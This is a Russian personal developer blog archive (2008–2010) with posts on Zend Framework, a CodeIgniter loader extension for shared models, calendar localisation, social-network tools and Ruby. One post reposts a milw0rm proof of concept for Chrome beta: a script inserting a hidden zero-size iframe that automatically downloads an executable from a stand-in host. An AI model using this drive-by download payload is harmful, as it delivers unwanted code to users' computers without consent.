понедельник, 22 февраля 2010 г.

Zend Framework: Quick Start

Ковыряю ZendFramework Quick Start Application. Много интересного, довольно мощная штука, но иногда кажется, что сильно мощная. Как по велопарку на джипе кататься...
Пока немного коробит от таких вещей:

<p><a href="<?php echo $this->url(
array(
'controller' => 'guestbook',
'action' => 'sign'
),
'default',
true) ?>">Sign Our Guestbook</a></p>

Guestbook Entries: <br />
<dl>
<?php foreach ($this->entries as $entry): ?>
<dt style="color:navy"><?php echo $this->escape($entry->email) ?></dt>
<dd style="color:gray"><?php echo $this->escape($entry->comment) ?></dd>
<hr/>
<?php endforeach ?>
</dl>

Привык я работать с template engine и не переношу смесь php и html кода...

Самый большой минус ZF, в том, что напихано в него множество того, что может вообще не пригодиться.

Например, в минимальной конфигурации таки библиотеки, как: Barcode, Currency, Locale (и его 9 метров локалей), TimeSync. Без них вес уменьшается в 2 раза...

воскресенье, 21 февраля 2010 г.

Zend Framework

Потихоньку начал осваивать Zend Framework.
Нашёл "легкий путь" слил скринкасты с Zend Cast... и обломался, первые скринкасте уже устарели. Придётся по старинке, через документацию.
Но, польза от скринкастов есть, иногда попадаются полезные фичи, типа:
define('APPLICATION_PATH',dirname(__FILE__) . '../application/');

пятница, 19 февраля 2010 г.

Разместил проект на googlecode.com

Use this command to anonymously check out the latest project source code:
# Non-members may check out a read-only working copy anonymously over HTTP.
svn checkout http://dev-mark.googlecode.com/svn/trunk/ dev-mark-read-only

Русификация calendar_lang.php в CodeIgniter

Оказалось в русском языке существует несколько вариантов сокращений. Взял, "советский", из википедии, знакомый с детства :)


<?php
$lang['cal_su'] = "Вс";
$lang['cal_mo'] = "Пн";
$lang['cal_tu'] = "Вт";
$lang['cal_we'] = "Ср";
$lang['cal_th'] = "Чт";
$lang['cal_fr'] = "Пт";
$lang['cal_sa'] = "Сб";
$lang['cal_sun'] = "Вск";
$lang['cal_mon'] = "Пнд";
$lang['cal_tue'] = "Втр";
$lang['cal_wed'] = "Срд";
$lang['cal_thu'] = "Чтв";
$lang['cal_fri'] = "Птн";
$lang['cal_sat'] = "Сбт";
$lang['cal_sunday'] = "Воскресенье";
$lang['cal_monday'] = "Понедельник";
$lang['cal_tuesday'] = "Вторник";
$lang['cal_wednesday'] = "Среда";
$lang['cal_thursday'] = "Четверг";
$lang['cal_friday'] = "Пятница";
$lang['cal_saturday'] = "Суббота";
$lang['cal_jan'] = "Янв";
$lang['cal_feb'] = "Фев";
$lang['cal_mar'] = "Мар";
$lang['cal_apr'] = "Апр";
$lang['cal_may'] = "Май";
$lang['cal_jun'] = "Июн";
$lang['cal_jul'] = "Июл";
$lang['cal_aug'] = "Авг";
$lang['cal_sep'] = "Сен";
$lang['cal_oct'] = "Окт";
$lang['cal_nov'] = "Ноя";
$lang['cal_dec'] = "Дек";
$lang['cal_january'] = "Январь";
$lang['cal_february'] = "Февраль";
$lang['cal_march'] = "Март";
$lang['cal_april'] = "Апрель";
$lang['cal_mayl'] = "Май";
$lang['cal_june'] = "Июнь";
$lang['cal_july'] = "Июль";
$lang['cal_august'] = "Август";
$lang['cal_september'] = "Сентябрь";
$lang['cal_october'] = "Октябрь";
$lang['cal_november'] = "Ноябрь";
$lang['cal_december'] = "Декабрь";


/* End of file calendar_lang.php */
/* Location: ./system/language/russian/calendar_lang.php */

среда, 17 февраля 2010 г.

MY_Loader.php расширения загрузчика для подключения "глобальных моделей"


<?php
/**
* MY_Loader Class
*
* Loads global_models
*
* @package CodeIgniter
* @subpackage Libraries
* @author snake.nf
* @category Loader
*/
class MY_Loader extends CI_Loader
{
function MY_Loader()
{
parent::CI_Loader();
}

/**
* Global Model Loader
*
* This function lets users load and instantiate global models.
*
* @access public
* @param string the name of the class
* @param string name for the model
* @param bool database connection
* @return void
*/
function global_model($model, $name = '', $db_conn = FALSE)
{
if (is_array($model))
{
foreach($model as $babe)
{
$this->model($babe);
}
return;
}

if ($model == '')
{
return;
}

// Is the model in a sub-folder? If so, parse out the filename and path.
if (strpos($model, '/') === FALSE)
{
$path = '';
}
else
{
$x = explode('/', $model);
$model = end($x);
unset($x[count($x)-1]);
$path = implode('/', $x).'/';
}

if ($name == '')
{
$name = $model;
}

if (in_array($name, $this->_ci_models, TRUE))
{
return;
}

$CI =& get_instance();
if (isset($CI->$name))
{
show_error('The model name you are loading is the name of a resource that is already being used: '.$name);
}

$model = strtolower($model);

if ( ! file_exists(APPPATH.'../global_models/'.$path.$model.EXT))
{
show_error('Unable to locate the model you have specified: '.$model);
}

if ($db_conn !== FALSE AND ! class_exists('CI_DB'))
{
if ($db_conn === TRUE)
$db_conn = '';

$CI->load->database($db_conn, FALSE, TRUE);
}

if ( ! class_exists('Model'))
{
load_class('Model', FALSE);
}

require_once(APPPATH.'../global_models/'.$path.$model.EXT);

$model = ucfirst($model);

$CI->$name = new $model();
$CI->$name->_assign_libraries();

$this->_ci_models[] = $name;
}

}
?>

CodeIgniter: Multiple Applications и общие модели в приложениях

CodeIgniter Недавно столкнулся с тем, что в приложениях backend и frontend используются общие модели. Пытался найти в CodeIgniter механизм подключения общих моделей для нескольких приложений. В течении дня были просмотрены несколько русско- и англоязычных сообществ и их форумов, множество блогов и т.д.
Все кто используют frontend и backend на CodeIgniter умалчивают о том, как они работают с моделями.
К вечеру уже начал подниматься вопрос о переходе с CodeIgniter на другой фреймворк, в частности на Zend Framework. После беглого осмотра возможностей Zend Framework'a не нашёл нативной возможности подключения внешних моделей. :(

Сегодня решил по глубже посмотреть ядро CodeIgniter, на предмет добавления хака для работы с общими моделями.
Решение вопроса былой найдено в классе ядра CI_Loader.
Собственно вопрос решался изменением двух строк 162 и 180 в которых используются пути к моделям.
Строка 162:
if ( ! file_exists(APPPATH.'models/'.$path.$model.EXT))
Cтрока 180:
require_once(APPPATH.'models/'.$path.$model.EXT)
Первой мыслью было просто заменить пути и не париться, но тогда лишился бы возможности использовать локальные модели для каждого приложения.
Просмотрев документацию по созданию классов ядра, нашёл более простое и нативное решение. Расширение класса ядра CI_Loader.
class MY_Loader extends CI_Loader {

function My_Loader()
{
parent::CI_Loader();
}

function global_model($model, $name = '', $db_conn = FALSE)
{
....
}

}

global_model полностью копирует model за исключением двух строк в которых изменяем пути.
Остаётся положить MY_Loader в libraries обоих приложений и теперь имеем возможность использовать глобальные и локальные модели.

На мой взгляд такой вариант наиболее оптимальным, т.к. это не вност изменения в ядро системы, легко переноситься в другие приложения, не требует лишних телодвижений при обновлении CodeIgniter'а.

Естественно нельзя использовать локальные и глобальные модели с одинаковыми именами. В контроллерах, за исключеним замены $this->load->model('Model_name'), на $this->load->global_model('Model_name') для глобальных моделей, ничего менять не придётся, т.к. мы только расширим Loader.

На практике пока не опробовано, но займусь этим в ближайшее время.

среда, 29 октября 2008 г.

Google Chrome exploit

Author: nerex
E-mail: nerex[at]live[dot]com

Google's new Web browser (Chrome) allows files (e.g., executables) to be automatically
downloaded to the user's computer without any user prompt.

This proof-of-concept was created for educational purposes only.
Use the code it at your own risk.
The author will not be responsible for any damages.

Tested on Windows Vista SP1 and Windows XP SP3 with Google Chrome (BETA)
**************************************************************************
<script>
document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');

</script>

# milw0rm.com [2008-09-03]

пятница, 10 октября 2008 г.

Бесплатные инструменты для создания социальной сети

Хотите создать свою социальную сеть похожую на Facebooк? Тогда стоит обратить внимание на бесплатные сервисы по созданию социальной сети.

1. Ning

Ning онлайн платформа для создания своей социальной сети. Позволяет за пару кликов создасть свою сеть, задать свой дизайн, пригласить друзей и начать общаться на интересующие вас темы.

ning

На Ning есть каталог социальных сетей и если вы заинтересованы в привлечение новых друзей, то к заполнению информации о сети следует отнестись внимательно.

 

2. SocialGO

SocialGO предлагает всем желающим создать свою собственную социальную сеть,  со всеми атрибутами, характерными для социалок - форумы, события, работа с медиа-файлами.

socialgo

Помимо этого, сервис предлагает возможность работы с новостными фидами в специальной вкладке. Дизайн проекта может быть изменен по вашему вкусу, превратившись в нечто уникальное.

 

3. Elgg

Elgg  мощное и гибкое приложение с открытым кодом для социальных сетей.

Основывается на проекте FOAF (друг моего друга) и контекстном позиционировании пользователя в сообществе, что позволяет рассматривать её как среду Живого Журнала, которая проста в установке и удобна в управлении.

elgg
 
После регистрации пользователи могут добавлять и удалять любое количество пользователей в друзья. Обмениваться различными данными, создавать блоги.

 

4. WackWall

WackWall ещё один онлайн сервис позволяющий создать свою социальную сеть.

Пользователям доступны блоги, форумы, обмен фото и видео-данными, смена дизайна. Регистрации и первоначальная настройка занимают около 5 минут.

wackwell

За основу взята статья Free tools to create your own social network Facebook-like


Социальные сети. Модели информационного влияния, управления и противоборства | Д. А. Губанов, Д. А. Новиков, А. Г. ЧхартишвилиСоциальные сети. Модели информационного влияния, управления и противоборства | Д. А. Губанов, Д. А. Новиков, А. Г. Чхартишвили
Эра Facebook. Как использовать возможности социальных сетей для развития вашего бизнеса | Клара Ших | The Facebook Era: Tapping Online Social Networks to Build Better Products, Reach New Audience, and Sell More StuffЭра Facebook. Как использовать возможности социальных сетей для развития вашего бизнеса | Клара Ших | The Facebook Era: Tapping Online Social Networks to Build Better Products, Reach New Audience, and Sell More Stuff
Социальные сети. Руководство по эксплуатации | Майк Далворт | The Connect Effect: Building Strong Personal, Professional, and Virtual Networks the Connect EffectСоциальные сети. Руководство по эксплуатации | Майк Далворт | The Connect Effect: Building Strong Personal, Professional, and Virtual Networks the Connect Effect

четверг, 9 октября 2008 г.

Ruby, а оно надо?

После ковыряния с Ruby, появляются сомнения в нужности использования его. Ибо на python'е я могу реализовать то же самое, но с меньшим геморроем и с нормальной поддержкой кодировок и локалей...

p.s. Хотя может ещё передумаю, но сомнения уже одолевают.

вторник, 7 октября 2008 г.

Ruby и консоль WinXP

Не удаётся подружить ruby с русским языком в консоле.

Upd.: После долгого гугления нашёл решение. Блин, ведь сталкивался с такими вещами и не раз... Блин, ведь часто с такой траблой сталкивался во фре.
http://anvarichn.livejournal.com/43752.html